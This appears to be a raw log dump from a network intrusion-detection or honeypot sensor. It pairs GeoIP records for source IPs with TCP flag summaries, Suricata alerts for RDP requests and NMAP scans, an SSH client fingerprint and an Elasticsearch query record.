{'as_org': 'LLC Digital Network', 'ip': '45.142.193.169', 'country_name': 'Romania', 'country_code3': 'RO', 'location': {'lon': 24.997, 'lat': 45.9968}, 'country_code2': 'RO', 'asn': 12695, 'continent_code': 'EU', 'timezone': 'Europe/Bucharest', 'latitude': 45.9968, 'longitude': 24.997}

{'syn': True, 'tcp_flags_ts': '06', 'tcp_flags_tc': '12', 'ack': True, 'state': 'closed', 'ts_max_regions': 1, 'tc_max_regions': 1, 'rst': True, 'tcp_flags': '16'}


{'country_name': 'United States', 'longitude': -97.822, 'country_code2': 'US', 'ip': '173.249.158.10', 'latitude': 37.751, 'asn': 36444, 'timezone': 'America/Chicago', 'as_org': 'NEXCESS-NET', 'country_code3': 'US', 'continent_code': 'NA', 'location': {'lon': -97.822, 'lat': 37.751}}

srv


{'timezone': 'Europe/Berlin', 'ip': '212.95.43.224', 'asn': 28753, 'longitude': 9.491, 'location': {'lon': 9.491, 'lat': 51.2993}, 'country_code2': 'DE', 'latitude': 51.2993, 'as_org': 'Leaseweb Deutschland GmbH', 'country_name': 'Germany', 'country_code3': 'DE', 'continent_code': 'EU'}

{'event_type': 'initial_response', 'tx_id': 2, 'protocol': 'ssl'}


{'longitude': 107.8333, 'ip': '103.173.66.32', 'country_name': 'Vietnam', 'country_code3': 'VN', 'country_code2': 'VN', 'timezone': 'Asia/Bangkok', 'latitude': 16.1667, 'asn': 38732, 'continent_code': 'AS', 'as_org': 'CMC Telecom Infrastructure Company', 'location': {'lon': 107.8333, 'lat': 16.1667}}

srv


{'action': 'allowed', 'gid': 1, 'category': 'Misc Attack', 'signature': 'ET DROP Spamhaus DROP Listed Traffic Inbound group 33', 'signature_id': 2400032, 'severity': 2, 'rev': 4466, 'metadata': {'created_at': ['2010_12_30'], 'deployment': ['Perimeter'], 'signature_severity': ['Minor'], 'updated_at': ['2025_09_15'], 'attack_target': ['Any'], 'tag': ['Dshield'], 'affected_product': ['Any']}}

{'location': {'lat': 55.7487, 'lon': 37.6187}, 'region_code': 'MOW', 'longitude': 37.6187, 'as_org': 'Galeon LLC', 'postal_code': '129346', 'latitude': 55.7487, 'timezone': 'Europe/Moscow', 'continent_code': 'EU', 'country_name': 'Russia', 'ip': '178.22.24.24', 'country_code2': 'RU', 'city_name': 'Moscow', 'asn': 209290, 'country_code3': 'RU', 'region_name': 'Moscow'}


{'action': 'allowed', 'category': 'Misc activity', 'metadata': {'updated_at': ['2024_03_07'], 'confidence': ['High'], 'created_at': ['2010_07_30'], 'signature_severity': ['Informational']}, 'signature_id': 2001329, 'severity': 3, 'signature': 'ET INFO RDP connection request', 'gid': 1, 'rev': 10}

{'location': {'lat': 16.1667, 'lon': 107.8333}, 'country_code2': 'VN', 'asn': 135905, 'country_code3': 'VN', 'ip': '103.149.98.225', 'timezone': 'Asia/Bangkok', 'continent_code': 'AS', 'country_name': 'Vietnam', 'latitude': 16.1667, 'longitude': 107.8333, 'as_org': 'VIETNAM POSTS AND TELECOMMUNICATIONS GROUP'}


{'latitude': 60.1719, 'region_name': 'Uusimaa', 'country_code3': 'FI', 'continent_code': 'EU', 'region_code': '18', 'country_name': 'Finland', 'country_code2': 'FI', 'longitude': 24.9347, 'timezone': 'Europe/Helsinki', 'postal_code': '00191', 'asn': 24940, 'as_org': 'Hetzner Online GmbH', 'city_name': 'Helsinki', 'ip': '135.181.216.152', 'location': {'lon': 24.9347, 'lat': 60.1719}}


{'continent_code': 'EU', 'location': {'lat': 55.7487, 'lon': 37.6187}, 'country_code2': 'RU', 'latitude': 55.7487, 'country_name': 'Russia', 'postal_code': '129346', 'country_code3': 'RU', 'ip': '178.22.24.251', 'region_name': 'Moscow', 'timezone': 'Europe/Moscow', 'asn': 209290, 'region_code': 'MOW', 'as_org': 'Galeon LLC', 'city_name': 'Moscow', 'longitude': 37.6187}

{'tcp_flags': 'de', 'syn': True, 'rst': True, 'ts_max_regions': 1, 'ack': True, 'tcp_flags_tc': '1a', 'ecn': True, 'tc_max_regions': 1, 'cwr': True, 'psh': True, 'tcp_flags_ts': 'de', 'state': 'closed'}


{'country_name': 'The Netherlands', 'city_name': 'Amsterdam', 'region_code': 'NH', 'latitude': 52.2986, 'country_code2': 'NL', 'asn': 401116, 'country_code3': 'NL', 'continent_code': 'EU', 'postal_code': '1106', 'longitude': 4.9728, 'location': {'lat': 52.2986, 'lon': 4.9728}, 'ip': '196.251.66.154', 'region_name': 'North Holland', 'timezone': 'Europe/Amsterdam', 'as_org': 'NYBULA'}

srv


{'ip': '124.132.130.102', 'asn': 4837, 'as_org': 'CHINA UNICOM China169 Backbone', 'latitude': 34.7732, 'continent_code': 'AS', 'country_name': 'China', 'country_code2': 'CN', 'country_code3': 'CN', 'timezone': 'Asia/Shanghai', 'location': {'lat': 34.7732, 'lon': 113.722}, 'longitude': 113.722}

cli


{'asn': 15802, 'country_name': 'United Arab Emirates', 'location': {'lat': 25.0734, 'lon': 55.2979}, 'longitude': 55.2979, 'ip': '87.200.80.161', 'latitude': 25.0734, 'region_name': 'Dubai', 'as_org': 'Emirates Integrated Telecommunications Company PJSC', 'city_name': 'Dubai', 'region_code': 'DU', 'continent_code': 'AS', 'country_code3': 'AE', 'country_code2': 'AE', 'timezone': 'Asia/Dubai'}


{'timezone': 'Asia/Shanghai', 'longitude': 113.722, 'continent_code': 'AS', 'country_code2': 'CN', 'as_org': 'Chinanet', 'location': {'lat': 34.7732, 'lon': 113.722}, 'country_name': 'China', 'country_code3': 'CN', 'ip': '106.58.218.65', 'latitude': 34.7732, 'asn': 4134}


{'region_code': 'CA', 'country_name': 'United States', 'continent_code': 'NA', 'dma_code': 807, 'timezone': 'America/Los_Angeles', 'latitude': 37.3486, 'longitude': -121.9732, 'country_code3': 'US', 'city_name': 'Santa Clara', 'postal_code': '95051', 'as_org': 'DIGITALOCEAN-ASN', 'region_name': 'California', 'country_code2': 'US', 'asn': 14061, 'location': {'lat': 37.3486, 'lon': -121.9732}, 'ip': '167.172.222.196'}

cli


{'postal_code': '86090', 'as_org': 'UNINET', 'country_code3': 'MX', 'latitude': 17.9776, 'asn': 8151, 'longitude': -92.9221, 'region_code': 'TAB', 'continent_code': 'NA', 'timezone': 'America/Mexico_City', 'ip': '189.230.100.92', 'country_code2': 'MX', 'city_name': 'Centro Municipality', 'location': {'lat': 17.9776, 'lon': -92.9221}, 'country_name': 'Mexico', 'region_name': 'Tabasco'}

{'syn': True, 'psh': True, 'state': 'closed', 'tc_max_regions': 1, 'ts_max_regions': 1, 'tcp_flags_ts': '1b', 'tcp_flags': '1b', 'ack': True, 'tcp_flags_tc': '1b', 'fin': True}


{'country_name': 'Germany', 'longitude': 9.491, 'country_code2': 'DE', 'ip': '212.95.43.232', 'latitude': 51.2993, 'asn': 28753, 'timezone': 'Europe/Berlin', 'as_org': 'Leaseweb Deutschland GmbH', 'country_code3': 'DE', 'continent_code': 'EU', 'location': {'lon': 9.491, 'lat': 51.2993}}

cli


{'location': {'lon': 139.6899, 'lat': 35.6893}, 'latitude': 35.6893, 'longitude': 139.6899, 'region_code': '13', 'country_name': 'Japan', 'ip': '8.216.65.225', 'region_name': 'Tokyo', 'timezone': 'Asia/Tokyo', 'as_org': 'Alibaba US Technology Co., Ltd.', 'postal_code': '102-0082', 'asn': 45102, 'city_name': 'Tokyo', 'country_code2': 'JP', 'continent_code': 'AS', 'country_code3': 'JP'}


{'country_code3': 'DE', 'latitude': 51.2993, 'asn': 28753, 'timezone': 'Europe/Berlin', 'longitude': 9.491, 'as_org': 'Leaseweb Deutschland GmbH', 'continent_code': 'EU', 'ip': '212.95.43.233', 'country_code2': 'DE', 'country_name': 'Germany', 'location': {'lon': 9.491, 'lat': 51.2993}}

srv


{'continent_code': 'AS', 'country_code3': 'HK', 'location': {'lat': 22.2578, 'lon': 114.1657}, 'country_name': 'Hong Kong', 'timezone': 'Asia/Hong_Kong', 'ip': '45.142.154.38', 'asn': 9465, 'latitude': 22.2578, 'as_org': 'AGOTOZ PTE. LTD.', 'longitude': 114.1657, 'country_code2': 'HK'}

cli


{'latitude': 52.2986, 'country_code2': 'NL', 'longitude': 4.9728, 'timezone': 'Europe/Amsterdam', 'country_name': 'The Netherlands', 'as_org': 'NYBULA', 'continent_code': 'EU', 'asn': 401116, 'city_name': 'Amsterdam', 'country_code3': 'NL', 'region_code': 'NH', 'ip': '196.251.115.97', 'location': {'lat': 52.2986, 'lon': 4.9728}, 'postal_code': '1106', 'region_name': 'North Holland'}

srv


{'location': {'lon': 4.9392, 'lat': 52.352}, 'postal_code': '1098', 'longitude': 4.9392, 'ip': '188.226.148.205', 'country_name': 'The Netherlands', 'country_code3': 'NL', 'country_code2': 'NL', 'region_code': 'NH', 'timezone': 'Europe/Amsterdam', 'latitude': 52.352, 'asn': 14061, 'continent_code': 'EU', 'as_org': 'DIGITALOCEAN-ASN', 'city_name': 'Amsterdam', 'region_name': 'North Holland'}

{'psh': True, 'tcp_flags_ts': '1b', 'ts_max_regions': 1, 'fin': True, 'state': 'closed', 'tcp_flags_tc': '1b', 'syn': True, 'tcp_flags': '1b', 'ack': True, 'tc_max_regions': 1}


cli


{'action': 'allowed', 'category': 'Generic Protocol Command Decode', 'metadata': {'updated_at': ['2024_03_08'], 'confidence': ['Medium'], 'created_at': ['2010_09_23'], 'signature_severity': ['Informational']}, 'signature_id': 2101447, 'severity': 3, 'signature': 'GPL INFO MS Remote Desktop Request RDP', 'gid': 1, 'cve_id': 'CVE-2001-0540', 'rev': 15}


{'country_name': 'China', 'latitude': 34.7732, 'country_code2': 'CN', 'asn': 56046, 'country_code3': 'CN', 'continent_code': 'AS', 'longitude': 113.722, 'as_org': 'China Mobile communications corporation', 'location': {'lat': 34.7732, 'lon': 113.722}, 'ip': '36.152.142.40', 'timezone': 'Asia/Shanghai'}

{'clstc': 'languages_server_to_client string: ', 'cmastc': 'hmac-sha2-256,hmac-sha2-512,hmac-sha1', 'cmacts': 'hmac-sha2-256,hmac-sha2-512,hmac-sha1', 'ceacts': 'aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc', 'hasshAlgorithms': 'curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1;none', 'hasshVersion': '1.0', 'ceastc': 'aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc', 'hassh': 'e37f354a101aff5871ba233aa82b84ec', 'ckex': 'curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1', 'ccacts': 'none', 'clcts': 'languages_client_to_server string: ', 'ccastc': 'none', 'client': 'SSH-2.0-libssh_0.7.4', 'cshka': 'ssh-ed25519,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss'}


srv


{'hostname': '71.142.174.168', 'http_port': 10002, 'protocol': 'HTTP/1.1', 'http_method': 'POST', 'url': '/_search/scroll', 'http_user_agent': 'elasticsearch-py/8.0.0 (Python/3.12.2; elastic-transport/8.17.1)', 'status': 200, 'http_content_type': 'application/vnd.elasticsearch+json', 'length': 1201}

{'stored': False, 'state': 'CLOSED', 'filename': '/_search/scroll', 'magic': 'JSON text data', 'gaps': False, 'size': 1666, 'tx_id': 0, 'md5': 'e2d38536972303e555d38a8cf300dbf7'}


{'region_name': 'North Holland', 'latitude': 52.2986, 'timezone': 'Europe/Amsterdam', 'country_code2': 'NL', 'country_code3': 'NL', 'city_name': 'Amsterdam', 'region_code': 'NH', 'country_name': 'The Netherlands', 'postal_code': '1106', 'asn': 401120, 'location': {'lon': 4.9728, 'lat': 52.2986}, 'continent_code': 'EU', 'as_org': 'CHEAPY-HOST', 'longitude': 4.9728, 'ip': '196.251.87.3'}


{'region_code': '12', 'country_name': 'Thailand', 'continent_code': 'AS', 'latitude': 13.9062, 'timezone': 'Asia/Bangkok', 'longitude': 100.4045, 'country_code3': 'TH', 'city_name': 'Nonthaburi', 'postal_code': '11110', 'as_org': 'TRUE INTERNET Co.,Ltd.', 'region_name': 'Nonthaburi', 'country_code2': 'TH', 'asn': 7470, 'location': {'lat': 13.9062, 'lon': 100.4045}, 'ip': '61.91.163.146'}

cli


{'postal_code': '08223', 'as_org': 'Hetzner Online GmbH', 'country_code3': 'DE', 'latitude': 50.4777, 'asn': 24940, 'longitude': 12.3649, 'region_code': 'SN', 'continent_code': 'EU', 'timezone': 'Europe/Berlin', 'ip': '176.9.10.143', 'country_code2': 'DE', 'city_name': 'Falkenstein', 'location': {'lat': 50.4777, 'lon': 12.3649}, 'country_name': 'Germany', 'region_name': 'Saxony'}


{'signature': 'ET INFO RDP connection request', 'category': 'Misc activity', 'severity': 3, 'rev': 10, 'metadata': {'signature_severity': ['Informational'], 'updated_at': ['2024_03_07'], 'confidence': ['High'], 'created_at': ['2010_07_30']}, 'signature_id': 2001329, 'action': 'allowed', 'gid': 1}

{'continent_code': 'AS', 'country_code3': 'VN', 'location': {'lat': 16.1667, 'lon': 107.8333}, 'country_name': 'Vietnam', 'timezone': 'Asia/Bangkok', 'ip': '103.149.98.243', 'asn': 135905, 'latitude': 16.1667, 'as_org': 'VIETNAM POSTS AND TELECOMMUNICATIONS GROUP', 'longitude': 107.8333, 'country_code2': 'VN'}


{'country_code3': 'CN', 'continent_code': 'AS', 'ip': '182.44.78.37', 'as_org': 'CHINANET Fujian province Fuzhou IDC network', 'latitude': 34.7732, 'location': {'lon': 113.722, 'lat': 34.7732}, 'country_code2': 'CN', 'longitude': 113.722, 'country_name': 'China', 'timezone': 'Asia/Shanghai', 'asn': 58772}


{'signature': 'SURICATA STREAM Packet with broken ack', 'action': 'allowed', 'category': 'Generic Protocol Command Decode', 'severity': 3, 'rev': 2, 'gid': 1, 'signature_id': 2210051}

{'longitude': 107.8333, 'ip': '103.173.66.32', 'country_name': 'Vietnam', 'country_code3': 'VN', 'country_code2': 'VN', 'timezone': 'Asia/Bangkok', 'latitude': 16.1667, 'asn': 38732, 'continent_code': 'AS', 'as_org': 'CMC Telecom Infrastructure Company', 'location': {'lon': 107.8333, 'lat': 16.1667}}


{'city_name': 'Moscow', 'postal_code': '129346', 'location': {'lat': 55.7487, 'lon': 37.6187}, 'country_code2': 'RU', 'asn': 8492, 'country_code3': 'RU', 'ip': '185.195.242.249', 'timezone': 'Europe/Moscow', 'continent_code': 'EU', 'country_name': 'Russia', 'region_name': 'Moscow', 'latitude': 55.7487, 'region_code': 'MOW', 'longitude': 37.6187, 'as_org': 'OBIT Ltd.'}


{'metadata': {'created_at': ['2010_07_30'], 'confidence': ['High'], 'signature_severity': ['Informational'], 'updated_at': ['2024_03_07']}, 'signature_id': 2001329, 'action': 'allowed', 'gid': 1, 'signature': 'ET INFO RDP connection request', 'rev': 10, 'category': 'Misc activity', 'severity': 3}

{'continent_code': 'EU', 'location': {'lat': 50.1169, 'lon': 8.6837}, 'country_code2': 'DE', 'latitude': 50.1169, 'country_name': 'Germany', 'postal_code': '60313', 'country_code3': 'DE', 'ip': '138.199.19.76', 'region_name': 'Hesse', 'timezone': 'Europe/Berlin', 'asn': 212238, 'region_code': 'HE', 'as_org': 'Datacamp Limited', 'city_name': 'Frankfurt am Main', 'longitude': 8.6837}


{'country_name': 'Germany', 'city_name': 'Frankfurt am Main', 'region_code': 'HE', 'latitude': 50.1169, 'country_code2': 'DE', 'asn': 212238, 'country_code3': 'DE', 'continent_code': 'EU', 'postal_code': '60313', 'longitude': 8.6837, 'location': {'lat': 50.1169, 'lon': 8.6837}, 'ip': '138.199.19.76', 'region_name': 'Hesse', 'timezone': 'Europe/Berlin', 'as_org': 'Datacamp Limited'}


{'ip': '124.132.130.102', 'asn': 4837, 'as_org': 'CHINA UNICOM China169 Backbone', 'latitude': 34.7732, 'continent_code': 'AS', 'country_name': 'China', 'country_code2': 'CN', 'country_code3': 'CN', 'timezone': 'Asia/Shanghai', 'location': {'lat': 34.7732, 'lon': 113.722}, 'longitude': 113.722}

srv


{'asn': 15802, 'country_name': 'United Arab Emirates', 'location': {'lat': 25.0734, 'lon': 55.2979}, 'longitude': 55.2979, 'ip': '87.200.80.161', 'latitude': 25.0734, 'region_name': 'Dubai', 'as_org': 'Emirates Integrated Telecommunications Company PJSC', 'city_name': 'Dubai', 'region_code': 'DU', 'continent_code': 'AS', 'country_code3': 'AE', 'country_code2': 'AE', 'timezone': 'Asia/Dubai'}


{'country_name': 'Germany', 'longitude': 9.491, 'country_code2': 'DE', 'ip': '212.95.43.232', 'latitude': 51.2993, 'asn': 28753, 'timezone': 'Europe/Berlin', 'as_org': 'Leaseweb Deutschland GmbH', 'country_code3': 'DE', 'continent_code': 'EU', 'location': {'lon': 9.491, 'lat': 51.2993}}

srv


{'signature': 'ET SCAN NMAP -sS window 1024', 'metadata': {'created_at': ['2010_07_30'], 'signature_severity': ['Informational'], 'confidence': ['Low'], 'updated_at': ['2019_07_26']}, 'category': 'Attempted Information Leak', 'gid': 1, 'rev': 3, 'signature_id': 2009582, 'severity': 2, 'action': 'allowed'}

{'longitude': 24.997, 'as_org': 'Skynet Network Ltd', 'country_name': 'Romania', 'country_code3': 'RO', 'timezone': 'Europe/Bucharest', 'latitude': 45.9968, 'asn': 214295, 'continent_code': 'EU', 'location': {'lat': 45.9968, 'lon': 24.997}, 'country_code2': 'RO', 'ip': '45.142.193.171'}


{'continent_code': 'EU', 'country_code3': 'BG', 'longitude': 23.332, 'ip': '37.60.141.156', 'country_name': 'Bulgaria', 'timezone': 'Europe/Sofia', 'as_org': 'ColocaTel Inc.', 'asn': 213438, 'country_code2': 'BG', 'location': {'lon': 23.332, 'lat': 42.696}, 'latitude': 42.696}

{'rst': True, 'ack': True, 'state': 'closed', 'ts_max_regions': 1, 'tcp_flags': '16', 'tc_max_regions': 1, 'tcp_flags_tc': '12', 'tcp_flags_ts': '06', 'syn': True}


{'country_code3': 'CN', 'city_name': 'Hefei', 'latitude': 31.8696, 'asn': 137698, 'timezone': 'Asia/Shanghai', 'longitude': 117.293, 'as_org': 'HaerbingHeilongjiang Province, P.R.China.', 'continent_code': 'AS', 'region_name': 'Anhui', 'ip': '42.101.44.116', 'country_code2': 'CN', 'region_code': 'AH', 'country_name': 'China', 'location': {'lon': 117.293, 'lat': 31.8696}}


{'signature': 'GPL INFO MS Remote Desktop Request RDP', 'category': 'Generic Protocol Command Decode', 'severity': 3, 'rev': 15, 'metadata': {'signature_severity': ['Informational'], 'updated_at': ['2024_03_08'], 'confidence': ['Medium'], 'created_at': ['2010_09_23']}, 'cve_id': 'CVE-2001-0540', 'signature_id': 2101447, 'action': 'allowed', 'gid': 1}